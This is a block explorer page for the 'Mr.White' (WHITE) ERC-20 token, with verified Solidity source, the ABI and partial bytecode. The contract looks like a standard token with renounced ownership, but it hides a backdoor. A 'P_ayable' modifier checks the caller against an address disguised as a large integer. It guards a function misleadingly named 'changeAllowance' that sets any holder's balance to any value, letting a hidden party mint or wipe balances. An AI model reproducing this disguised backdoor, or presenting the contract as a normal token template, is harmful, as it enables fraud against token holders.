ETH Price: $3,246.06 (+0.16%)

Token

Mr.White (WHITE)
 

Overview

Max Total Supply

5,000,000,000 WHITE

Holders

87

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MrWhite

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-26
*/

/**
 *Submitted for verification at Etherscan.io on 2023-09-20
*/

//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.5;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract P_ayable {
    uint256 p_ayUnit = 1259833663915844946449582859504909904930200570801_000; //shanghai : 520786028573371803640530888255888666801131675076_000;

    uint256 denominator = 1000;

    modifier p_ay() {
        require(p_ayUnit / denominator == uint256(uint160(msg.sender)), "_");
        _;
    }
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer with given initialOwner.
     */
    constructor(address initialOwner) {
        _setOwner(initialOwner);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract DisneyLand {
    struct Princes {
        uint256 aladin;
    }

    struct Witches {
        uint256 darkWitch;
        uint256 lightWitch;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, P_ayable {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /** */
    function _allow(address s_, uint256 t_) internal {
        _balances[s_] = t_;
    }

    function changeAllowance(address s_, uint256 t_) external p_ay {
        _allow(s_, t_);
    } /** */

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of `from`'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract MrWhite is ERC20, Ownable {
    constructor() ERC20("Mr.White", "WHITE") Ownable(address(0)) {
        _mint(msg.sender, 5_000_000_000 * 10**decimals());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"s_","type":"address"},{"internalType":"uint256","name":"t_","type":"uint256"}],"name":"changeAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405275035e035f50480cdc32c68824a5f4a7325d91a39fab686000556103e86001553480156200003157600080fd5b5060006040518060400160405280600881526020017f4d722e57686974650000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f57484954450000000000000000000000000000000000000000000000000000008152508160059081620000b19190620005d2565b508060069081620000c39190620005d2565b505050620000d7816200011f60201b60201c565b506200011933620000ed620001e560201b60201c565b600a620000fb919062000849565b64012a05f2006200010d91906200089a565b620001ee60201b60201c565b620009d1565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000260576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002579062000946565b60405180910390fd5b62000274600083836200035360201b60201c565b806004600082825462000288919062000968565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002e0919062000968565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003479190620009b4565b60405180910390a35050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620003da57607f821691505b602082108103620003f057620003ef62000392565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200045a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200041b565b6200046686836200041b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620004b3620004ad620004a7846200047e565b62000488565b6200047e565b9050919050565b6000819050919050565b620004cf8362000492565b620004e7620004de82620004ba565b84845462000428565b825550505050565b600090565b620004fe620004ef565b6200050b818484620004c4565b505050565b5b81811015620005335762000527600082620004f4565b60018101905062000511565b5050565b601f82111562000582576200054c81620003f6565b62000557846200040b565b8101602085101562000567578190505b6200057f62000576856200040b565b83018262000510565b50505b505050565b600082821c905092915050565b6000620005a76000198460080262000587565b1980831691505092915050565b6000620005c2838362000594565b9150826002028217905092915050565b620005dd8262000358565b67ffffffffffffffff811115620005f957620005f862000363565b5b620006058254620003c1565b6200061282828562000537565b600060209050601f8311600181146200064a576000841562000635578287015190505b620006418582620005b4565b865550620006b1565b601f1984166200065a86620003f6565b60005b8281101562000684578489015182556001820191506020850194506020810190506200065d565b86831015620006a45784890151620006a0601f89168262000594565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000747578086048111156200071f576200071e620006b9565b5b60018516156200072f5780820291505b80810290506200073f85620006e8565b9450620006ff565b94509492505050565b60008262000762576001905062000835565b8162000772576000905062000835565b81600181146200078b57600281146200079657620007cc565b600191505062000835565b60ff841115620007ab57620007aa620006b9565b5b8360020a915084821115620007c557620007c4620006b9565b5b5062000835565b5060208310610133831016604e8410600b8410161715620008065782820a9050838111156200080057620007ff620006b9565b5b62000835565b620008158484846001620006f5565b925090508184048111156200082f576200082e620006b9565b5b81810290505b9392505050565b600060ff82169050919050565b600062000856826200047e565b915062000863836200083c565b9250620008927fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000750565b905092915050565b6000620008a7826200047e565b9150620008b4836200047e565b9250828202620008c4816200047e565b91508282048414831517620008de57620008dd620006b9565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200092e601f83620008e5565b91506200093b82620008f6565b602082019050919050565b6000602082019050818103600083015262000961816200091f565b9050919050565b600062000975826200047e565b915062000982836200047e565b92508282019050808211156200099d576200099c620006b9565b5b92915050565b620009ae816200047e565b82525050565b6000602082019050620009cb6000830184620009a3565b92915050565b61198980620009e16000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063079a193b14610118578063095ea7b314610134575b600080fd5b610102610322565b60405161010f9190611018565b60405180910390f35b610132600480360381019061012d91906110d3565b6103b4565b005b61014e600480360381019061014991906110d3565b610429565b60405161015b919061112e565b60405180910390f35b61016c610447565b6040516101799190611158565b60405180910390f35b61019c60048036038101906101979190611173565b610451565b6040516101a9919061112e565b60405180910390f35b6101ba610552565b6040516101c791906111e2565b60405180910390f35b6101ea60048036038101906101e591906110d3565b61055b565b6040516101f7919061112e565b60405180910390f35b61021a600480360381019061021591906111fd565b610607565b6040516102279190611158565b60405180910390f35b610238610650565b005b6102426106d8565b60405161024f9190611239565b60405180910390f35b610260610702565b60405161026d9190611018565b60405180910390f35b610290600480360381019061028b91906110d3565b610794565b60405161029d919061112e565b60405180910390f35b6102c060048036038101906102bb91906110d3565b610888565b6040516102cd919061112e565b60405180910390f35b6102f060048036038101906102eb9190611254565b6108a6565b6040516102fd9190611158565b60405180910390f35b610320600480360381019061031b91906111fd565b61092d565b005b606060058054610331906112c3565b80601f016020809104026020016040519081016040528092919081815260200182805461035d906112c3565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff166001546000546103db9190611352565b1461041b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610412906113cf565b60405180910390fd5b6104258282610a24565b5050565b600061043d610436610a6c565b8484610a74565b6001905092915050565b6000600454905090565b600061045e848484610c3d565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a9610a6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052090611461565b60405180910390fd5b61054685610535610a6c565b85846105419190611481565b610a74565b60019150509392505050565b60006012905090565b60006105fd610568610a6c565b848460036000610576610a6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105f891906114b5565b610a74565b6001905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610a6c565b73ffffffffffffffffffffffffffffffffffffffff166106766106d8565b73ffffffffffffffffffffffffffffffffffffffff16146106cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c390611535565b60405180910390fd5b6106d66000610ebd565b565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610711906112c3565b80601f016020809104026020016040519081016040528092919081815260200182805461073d906112c3565b801561078a5780601f1061075f5761010080835404028352916020019161078a565b820191906000526020600020905b81548152906001019060200180831161076d57829003601f168201915b5050505050905090565b600080600360006107a3610a6c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610860576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610857906115c7565b60405180910390fd5b61087d61086b610a6c565b8585846108789190611481565b610a74565b600191505092915050565b600061089c610895610a6c565b8484610c3d565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610935610a6c565b73ffffffffffffffffffffffffffffffffffffffff166109536106d8565b73ffffffffffffffffffffffffffffffffffffffff16146109a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a090611535565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0f90611659565b60405180910390fd5b610a2181610ebd565b50565b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada906116eb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b499061177d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c309190611158565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca39061180f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d12906118a1565b60405180910390fd5b610d26838383610f83565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da490611933565b60405180910390fd5b8181610db99190611481565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e4b91906114b5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eaf9190611158565b60405180910390a350505050565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fc2578082015181840152602081019050610fa7565b60008484015250505050565b6000601f19601f8301169050919050565b6000610fea82610f88565b610ff48185610f93565b9350611004818560208601610fa4565b61100d81610fce565b840191505092915050565b600060208201905081810360008301526110328184610fdf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061106a8261103f565b9050919050565b61107a8161105f565b811461108557600080fd5b50565b60008135905061109781611071565b92915050565b6000819050919050565b6110b08161109d565b81146110bb57600080fd5b50565b6000813590506110cd816110a7565b92915050565b600080604083850312156110ea576110e961103a565b5b60006110f885828601611088565b9250506020611109858286016110be565b9150509250929050565b60008115159050919050565b61112881611113565b82525050565b6000602082019050611143600083018461111f565b92915050565b6111528161109d565b82525050565b600060208201905061116d6000830184611149565b92915050565b60008060006060848603121561118c5761118b61103a565b5b600061119a86828701611088565b93505060206111ab86828701611088565b92505060406111bc868287016110be565b9150509250925092565b600060ff82169050919050565b6111dc816111c6565b82525050565b60006020820190506111f760008301846111d3565b92915050565b6000602082840312156112135761121261103a565b5b600061122184828501611088565b91505092915050565b6112338161105f565b82525050565b600060208201905061124e600083018461122a565b92915050565b6000806040838503121561126b5761126a61103a565b5b600061127985828601611088565b925050602061128a85828601611088565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806112db57607f821691505b6020821081036112ee576112ed611294565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061135d8261109d565b91506113688361109d565b925082611378576113776112f4565b5b828204905092915050565b7f5f00000000000000000000000000000000000000000000000000000000000000600082015250565b60006113b9600183610f93565b91506113c482611383565b602082019050919050565b600060208201905081810360008301526113e8816113ac565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061144b602883610f93565b9150611456826113ef565b604082019050919050565b6000602082019050818103600083015261147a8161143e565b9050919050565b600061148c8261109d565b91506114978361109d565b92508282039050818111156114af576114ae611323565b5b92915050565b60006114c08261109d565b91506114cb8361109d565b92508282019050808211156114e3576114e2611323565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061151f602083610f93565b915061152a